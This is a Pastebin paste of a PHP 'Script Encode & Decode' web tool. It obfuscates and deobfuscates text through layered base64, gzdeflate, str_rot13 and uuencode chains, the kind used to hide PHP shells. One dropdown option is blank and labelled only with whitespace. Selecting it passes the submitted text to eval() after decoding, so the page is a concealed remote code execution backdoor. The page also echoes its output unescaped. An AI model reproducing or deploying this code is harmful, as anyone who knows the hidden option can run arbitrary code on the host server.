Advertisement
janter13

Untitled

Jul 17th, 2014
313
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.83 KB | None | 0 0
  1. <title> Encode & Decode </title>
  2. <STYLE>
  3. body,td,th {font-family: Verdana;font-size: 12px;color: #00FF00;font-weight: bold;}
  4. .jaya{ font-family:Vivaldi;font-size:50px;color: #00FF00;}
  5. input {BORDER-RIGHT:#00FF00 1px solid;BORDER-TOP:#00FF00 1px solid;BORDER-LEFT:#00FF00 1px solid;BORDER-BOTTOM: #00FF00 1px solid;BACKGROUND-COLOR: #111111;COLOR: #00FF00;font: 8pt Verdana;}
  6. select {BORDER-RIGHT:#00FF00 1px solid;BORDER-TOP:#00FF00 1px solid;BORDER-LEFT:#00FF00 1px solid;BORDER-BOTTOM: #00FF00 1px solid;BACKGROUND-COLOR: #111111;COLOR: #00FF00;font: 8pt Verdana;}
  7. submit {BORDER-RIGHT:buttonhighlight 2px outset;BORDER-TOP:buttonhighlight 2px outset;BORDER-LEFT:buttonhighlight 2px outset;BORDER-BOTTOM: buttonhighlight 2px outset;BACKGROUND-COLOR: #000099;COLOR: #FFFF00;width: 30%;}
  8. textarea {BORDER-RIGHT:#00FF00 1px solid;BORDER-TOP:#00FF00 1px solid;BORDER-LEFT:#00FF00 1px solid;BORDER-BOTTOM: #00FF00 1px solid;BACKGROUND-COLOR: #111111;COLOR: #00FF00;font: Fixedsys bold;}
  9. BODY {margin-top: 1px;margin-right: 1px;margin-bottom: 1px;margin-left: 1px;SCROLLBAR-FACE-COLOR: blue; SCROLLBAR-HIGHLIGHT-COLOR: #111111;SCROLLBAR-ARROW-COLOR: #c5c5c5;SCROLLBAR-BASE-COLOR: white;BACKGROUND-COLOR: black;}
  10. </STYLE>
  11. <center>
  12. <BR>
  13. <br><div class="jaya">Script Encode & Decode</div><br>
  14.  
  15. <br><?php
  16. @ini_set('output_buffering',0);
  17. @ini_set('display_errors', 0);
  18. $text = $_POST['code'];
  19. ?>
  20. <form method="post"><br><br><br>
  21. <textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
  22. <select class='inputz' size="1" name="ope">
  23. <option value="urlencode">url</option>
  24. <option value="base64">Base64</option>
  25. <option value="ur">convert_uu</option>
  26. <option value="privat">gzcompress - base64</option>
  27. <option value="gzinflates">gzinflate - base64</option>
  28. <option value="str2">str_rot13 - base64</option>
  29. <option value="gzinflate">str_rot13 - gzinflate - base64</option>
  30. <option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
  31. <option value="url">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
  32. <option value="wk">       </option>
  33. </select>&nbsp;<input class='inputzbut' type='submit' name='submit' value='Encode'>
  34. <input class='inputzbut' type='submit' name='submits' value='Decode'>
  35. </form>
  36.  
  37. <?php
  38. $submit = $_POST['submit'];
  39. if (isset($submit)){
  40. $op = $_POST["ope"];
  41. switch ($op) {case 'base64': $codi=base64_encode($text);
  42. break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
  43. break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
  44. break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
  45. break;case 'str2' : $codi=base64_encode(str_rot13($text));
  46. break;case 'urlencode' : $codi=rawurlencode($text);
  47. break;case 'ur' : $codi=convert_uuencode($text);
  48. break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
  49. break;case 'privat' :
  50. $codi=gzcompress(base64_encode($text));
  51. break;default:break;}}
  52.  
  53. $submit = $_POST['submits'];
  54. if (isset($submit)){
  55. $op = $_POST["ope"];
  56. switch ($op) {case 'base64': $codi=base64_decode($text);
  57. break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
  58. break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
  59. break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
  60. break;case 'str2' : $codi=str_rot13(base64_decode($text));
  61. break;case 'urlencode' : $codi=rawurldecode($text);
  62. break;case 'ur' : $codi=convert_uudecode($text);
  63. break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
  64. break;case 'privat' :
  65. $codi=gzuncompress(base64_decode($text));
  66. break;case 'wk' :
  67. $codi=eval(base64_decode(gzuncompress(base64_decode($text))));
  68. break;default:break;
  69. }
  70. echo "<textarea cols=80 rows=10 style=background:black;color:lime>$codi</textarea></center><br><br>";
  71. }
  72. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement